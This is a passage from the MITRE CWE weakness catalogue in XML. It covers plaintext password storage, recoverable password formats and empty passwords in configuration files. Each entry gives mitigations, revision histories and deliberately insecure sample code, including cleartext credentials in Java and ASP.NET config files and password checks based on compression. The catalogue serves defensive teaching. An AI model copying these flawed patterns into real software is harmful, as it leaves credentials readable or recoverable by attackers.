            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-03-10">Misinterpreted Function Return Value</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="256" Name="Plaintext Storage of a Password" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>Storing a password in plaintext may result in a system compromise.</Description>
         <Extended_Description>Password management issues occur when a password is stored in plaintext in an application's properties, configuration file, or memory. Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource. In some contexts, even storage of a plaintext password in memory is considered a security risk if the password is not cleared immediately after it is used.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="522" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
	    <Technology Class="ICS/OT" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>Developers sometimes believe that they cannot defend the application from someone who has access to the configuration, but this belief makes an attacker's job easier.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Avoid storing passwords in easily accessible locations.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.</Description>
            </Mitigation>
            <Mitigation>
               <Description>A programmer might attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password because the encoding can be detected and decoded easily.</Description>
               <Effectiveness>None</Effectiveness>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-57">
               <Intro_Text>The following code reads a password from a properties file and uses the password to connect to a database.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>...<xhtml:br/>Properties prop = new Properties();<xhtml:br/>prop.load(new FileInputStream("config.properties"));<xhtml:br/>String password = prop.getProperty("password");<xhtml:br/>DriverManager.getConnection(url, usr, password);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-58">
               <Intro_Text>The following code reads a password from the registry and uses the password to create a new network credential.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>...<xhtml:br/>String password = regKey.GetValue(passKey).toString();<xhtml:br/>NetworkCredential netCred = new NetworkCredential(username,password,domain);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-43">
               <Intro_Text>The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.</Intro_Text>
               <Body_Text>This Java example shows a properties file with a cleartext username / password pair.</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i># Java Web App ResourceBundle properties file</xhtml:i>
                     <xhtml:br/>...<xhtml:br/>webapp.ldap.username=secretUsername<xhtml:br/>webapp.ldap.password=secretPassword<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.</Body_Text>
               <Example_Code Nature="Bad" Language="ASP.NET">
                  <xhtml:div>...<xhtml:br/>&lt;connectionStrings&gt;<xhtml:div style="margin-left:1em;">&lt;add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" /&gt;</xhtml:div>&lt;/connectionStrings&gt;<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-153">
	            <Intro_Text>In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.</Intro_Text>
	            <Body_Text>At least one OT product stored a password in plaintext.</Body_Text>
	         </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-30275</Reference>
               <Description>Remote Terminal Unit (RTU) uses a driver that relies on a password stored in plaintext.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30275</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Password Management</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-207"/>
            <Reference External_Reference_ID="REF-1283"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Modes_of_Introduction, Other_Notes, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Likelihood_of_Exploit, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">Plaintext Storage</Previous_Entry_Name>
            <Previous_Entry_Name Date="2018-01-23">Plaintext Storage of a Password</Previous_Entry_Name>
            <Previous_Entry_Name Date="2018-03-27">Plaintext Storage of a Password</Previous_Entry_Name>
			<Previous_Entry_Name Date="2021-07-20">Unprotected Storage of Credentials</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="257" Name="Storing Passwords in a Recoverable Format" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The storage of passwords in a recoverable format makes them subject to password reuse attacks by malicious users. In fact, it should be noted that recoverable encrypted passwords provide no significant benefit over plaintext passwords since they are subject not only to reuse by malicious attackers but also by malicious insiders. If a system administrator can recover a password directly, or use a brute force search on the available information, the administrator can use the password on other accounts.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="522" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="259" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>User's passwords may be revealed.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>Revealed passwords may be reused elsewhere to impersonate the users in question.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use strong, non-reversible encryption to protect stored passwords.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-59">
               <Intro_Text>Both of these examples verify a password by comparing it to a stored compressed version.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int VerifyAdmin(char *password) {<xhtml:div style="margin-left:1em;">if (strcmp(compress(password), compressed_password)) {<xhtml:div style="margin-left:1em;">printf("Incorrect Password!\n");<xhtml:br/>return(0);</xhtml:div>}<xhtml:br/>printf("Entering Diagnostic Mode...\n");<xhtml:br/>return(1);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>int VerifyAdmin(String password) {<xhtml:div style="margin-left:1em;">if (passwd.Equals(compress(password), compressed_password)) {<xhtml:div style="margin-left:1em;">return(0);</xhtml:div>}<xhtml:br/>
                        <xhtml:i>//Diagnostic Mode</xhtml:i>
                        <xhtml:br/>return(1);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-43">
               <Intro_Text>The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.</Intro_Text>
               <Body_Text>This Java example shows a properties file with a cleartext username / password pair.</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i># Java Web App ResourceBundle properties file</xhtml:i>
                     <xhtml:br/>...<xhtml:br/>webapp.ldap.username=secretUsername<xhtml:br/>webapp.ldap.password=secretPassword<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.</Body_Text>
               <Example_Code Nature="Bad" Language="ASP.NET">
                  <xhtml:div>...<xhtml:br/>&lt;connectionStrings&gt;<xhtml:div style="margin-left:1em;">&lt;add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" /&gt;</xhtml:div>&lt;/connectionStrings&gt;<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Storing passwords in a recoverable format</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="49"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Notes>
            <Note Type="Maintenance">The meaning of this entry needs to be investigated more closely, especially with respect to what is meant by "recoverable."</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Maintenance_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="258" Name="Empty Password in Configuration File" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>Using an empty string as a password is insecure.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="260" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="521" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Description>Passwords should be at least eight characters long -- the longer the better. Avoid passwords that are in any way similar to other passwords you have. Avoid using words that may be found in a dictionary, names book, on a map, etc. Consider incorporating numbers and/or punctuation into your password. If you do use common words, consider replacing letters in that word with numbers and punctuation. However, do not use "similar-looking" punctuation. For example, it is not a good idea to change cat to c@t, ca+, (@+, or anything similar. Finally, it is never appropriate to use an empty string as a password.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but the password is provided as an empty string.</Intro_Text>
               <Body_Text>This Java example shows a properties file with an empty password string.</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i># Java Web App ResourceBundle properties file</xhtml:i>
                     <xhtml:br/>...<xhtml:br/>webapp.ldap.username=secretUsername<xhtml:br/>webapp.ldap.password=<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database and the password is provided as an empty string.</Body_Text>
               <Example_Code Nature="Bad" Language="ASP.NET">
                  <xhtml:div>...<xhtml:br/>&lt;connectionStrings&gt;<xhtml:br/>&lt;add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=; dbalias=uDB;" providerName="System.Data.Odbc" /&gt;<xhtml:br/>&lt;/connectionStrings&gt;<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>An empty string should never be used as a password as this can allow unauthorized access to the application. Username and password information should not be included in a configuration file or a properties file in clear text. If possible, encrypt this information and avoid CWE-260 and CWE-13.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Password Management: Empty Password in Configuration File</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-207"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Likelihood_of_Exploit, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
